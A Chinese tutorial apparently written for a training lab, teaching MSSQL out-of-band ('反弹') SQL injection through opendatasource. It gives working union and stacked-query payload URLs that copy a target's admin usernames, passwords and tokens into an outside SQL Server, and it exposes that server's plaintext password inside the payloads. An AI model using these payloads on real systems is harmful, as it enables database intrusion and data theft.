MSSQL-反弹注入
基础知识
反弹注入先决条件
- 有堆叠注入(MSSQL);
- 目标有外网环境;
SQL Server必备知识
MSSQL 是指微软的 SQL Server 数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。
MSSQL反弹注入
命名是SQL的注入点却无法注入,注入工具才接的速度异常缓慢,错误提示信息关闭,无法返回注入结果等,这些都是再注入攻击中常常遇到的问题。为了解决以上这些疑难杂症,比较好的解决方法就是使用反弹注入技术,而反弹注入技术则需要依赖 opendatasource
函数支持。
opendatasource()
opendatasource( provider_name, init_string)
-- 示例:
opendatasource('sqloledb','server={hosts};uid={user};pwd={password};database={database}')
SQLserver联合查询与MySQL区别
1、系统自带库、表的区别
系统默认表:sysobjects,syscolumns,systypes
-- 查询用户创建的表名
select * from sysobjects where xtype='U';
-- 查询用户创建的字段,id为获取得到的表名对应id值
select * from syscolumns where id=245575913;
比较 数据库 | MySQL | MSSQL |
---|---|---|
系统自带库 | information_schema | master.dbo.sysdatabase |
系统获取表名表 | tabls | sysobjects |
系统获取字段表 | columns | syscolumns |
系统获取表字段类型 | columns中DATA_TYPE字段 | systypes表中name字段 |
2、union联合查询数据类型的区别
MySQL对前后的字段没有限制,不相同也可以联合查询,而SQLServer则如果同时输出,则后面的应满足前面的字段类型!
所以,可以使用 and 1=2 屏蔽前面的输出,只使用后面的输出,或 union select null,null,null -- qwe
union =》 union all | null
前期准备
连接地址: SQL5095.site4now.net
数据库名称: DB_14DBC2A_testsql
账号: DB_14DBC2A_testsql_admin
密码: ******
手工显错注入
一、靶场地址
http://59.63.200.79:8015/?id=1
二、确定是否存在注入点
http://59.63.200.79:8015/?id=1' and 1=1 -- qwe
-- 正常输出
http://59.63.200.79:8015/?id=1' and 1=2 -- qwe
-- 无输出
-- 确定字段数
http://59.63.200.79:8015/?id=1' order by 3 -- qwe
-- 字段数为3
结论:存在注入点!
三、显错注入
1.尝试报错注入
-- union
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,3 -- qwe
2.获取表名
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,name,id from sysobjects where xtype='U' -- qwe
3.获取字段名
-- news表字段
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,name,id from syscolumns where id='437576597' -- qwe
-- admin表字段
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,name,id from syscolumns where id='1977058079' -- qwe
4.获取数据
-- admin 表信息
http://59.63.200.79:8015/?id=1' and 1=2 union select id,username,token from admin -- qwe
四、反弹注入
1.建立需要的字段相符的表
-- 示例
insert into opendatasource('sqloledb','server={hosts};uid={user};pwd={password};database={database}').DB_14DBBFE_abcd.dbo.temp select name,id from sysobjects where xtype='U' -- qwe
insert into opendatasource('sqloledb','server=SQL5095.site4now.net;uid=DB_14DBC2A_testsql_admin;pwd=testsql123.;database=DB_14DBC2A_testsql').DB_14DBBFE_abcd.dbo.temp select name,id from sysobjects where xtype='U' -- qwe
insert 插入内容,需要 字段数,类型相同(部分类型会自动做类型转换)
所有我们创建一个与我们需要导出的表一样的字段类型!
-- 创建获取用户表名与id的表test)table
CREATE TABLE test_table (
name VARCHAR ( 100 ),
id INT );
-- 创建获取用户字段名与id的表test)table
CREATE TABLE test_columns (
name VARCHAR ( 100 ),
xtype INT );
-- 如果不知道应该创建哪张字段类型,可以通过自己的SQLServer数据库查询出该表字段类型,也可以通过查询systypes表得出
select a.name 字段名,b.name 类型 from syscolumns a left join systypes b on a.xtype=b.xusertype where a.name=字段名称
-- 可以通过这个得出字段对应类型,但是可能存在过多还得筛选
2.判断是否满足执行Insert
堆叠注入: 在注入的时候可以用; (;代表语句的结束)
我们前面一直做的 SQL注入,都是在一直通过传递的参数,使得select
直接查询得出想要的内容,或使得查询语句报错,以及通过查询条件来判断得出值,但是如果需要 insert
应该如何处理,我们知道数据的结束符为;
,我们尝试在select
语句的最后加入;
,能否结束查询后继续执行 SQL语句呢?
-- 尝试使用堆叠注入,后面添加了一个select,查看是否报错
http://59.63.200.79:8015/?id=1';select id,name from sysobjects where xtype='U' -- qwe
-- 结果,未报错,初步判断应该是存在堆叠注入,那我们直接使用insert
-- 通过堆叠注入,将用户表名与id字段全量插入,我们的远程数据库中
http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net;uid=DB_14DBC2A_testsql_admin;pwd=testsql123.;database=DB_14DBC2A_testsql').DB_14DBC2A_testsql.dbo.test_table select name,id from sysobjects where xtype='U' -- qwe
3.获取admin表的字段
http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net;uid=DB_14DBC2A_testsql_admin;pwd=testsql123.;database=DB_14DBC2A_testsql').DB_14DBC2A_testsql.dbo.test_columns select name,xtype from syscolumns where id='1977058079' -- qwe
4.创建admin表,并获取数据
-- 获取admin表的字段类型
-- id int
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,name from systypes where xtype=56 -- qwe
-- username varchar
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,name from systypes where xtype=167 -- qwe
-- passwd char
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,name from systypes where xtype=175 -- qwe
-- token char
http://59.63.200.79:8015/?id=1' and 1=2 union select 1,2,name from systypes where xtype=175 -- qwe
-- 创建test_admin表接收数据
create table test_admin(id int,username varchar(100),passwd char(100),token char(100));
-- 导入数据
http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5095.site4now.net;uid=DB_14DBC2A_testsql_admin;pwd=testsql123.;database=DB_14DBC2A_testsql').DB_14DBC2A_testsql.dbo.test_admin select * from admin -- qwe
注意!
- 由于需要连接我们部署的互联网的SQLServer数据库,外网环境必须;
- 反弹注入,必须支持堆叠注入;
- 最好使用 1=2 或一个不成立的条件,屏蔽默认SQL的输出,否则前面与后面字段类型可能不一致导致问题出现;
- 猜解数据字段类型时,可以用 null 规避掉必须得出类型的限制。
常见问题
反弹注入 与 SQLServer 常见问题
1.mssql反弹注入原理
依靠opendatasource函数,把查询出的数据发送到MSSQL服务器上。
2.DNS注入和mssql注入相同点
都是用了特殊函数,都将得到的信息输出传到外部,一个是DNS域,一个是mssql服务器上
3.猜数据时为什么不能用数字
根据了MSSQL的特性,虽然不能用数字但可用null和字母填充
4.%23能在mssql中使用吗
不能,%23是mysql特有的注释
5.mssql注释有哪些
-- 可以用来当注释
6.用字母填充时有什么注意的
要加单引号
7.MSSQL有系统自带库吗
有 为master.dbo.sysdatabase
8.反弹注入满足的条件
能否堆叠查询,堆叠查询用;结束前一个语句,并执行下一个语句
9.为什么反弹注入开头不是select?
因为反弹注入是在我们的mssql服务器上插入我们子查询报错信息的语句,所以用insert into
10.xtype='U' 是什么?
设置查找用户建立的数据表
11.可以自己搭建一个mssql服务器接受数据吗
可以,但是要一个公网ip,有点不方便
12.在云服务器上搭建的接受数据库里的数据字段要和靶场的一样吗
要查询数据表字段数量必须和云服务器上面搭建的数据字段数量要相同
13.为什么要一个公网ip
因为如果设置在内网的话就访问不到
14.MSSQL的系统自带表是什么
Sysobjects 和mysql的不同
15.为什么不能直接查询表里的字段
要添加id参数,参数可在查询语句里看到
16.为什么反弹注入注入点摆明3个字段,但是设置三个字段无法插入
这里同学们要注意了,注入点三个字段和我们想要的表格的字段数量可不一定相同
17.反弹注入使用情况
没有回显的注入,支持opendatasource函数
18.如何通过系统自带库查询数据库名
select name from dbo.sysdatabases
19.如何通过系统自带库查询表名(查询用户建立的数据表)
select name,id from dbo.sysobjects where xtype=’U’
20.如何通过系统自带库查询字段名(查询表的时候记录需要表的id值)
select name,id from dbo.syscolumns where id=245575913
21.如何查询当前库名
select db_name()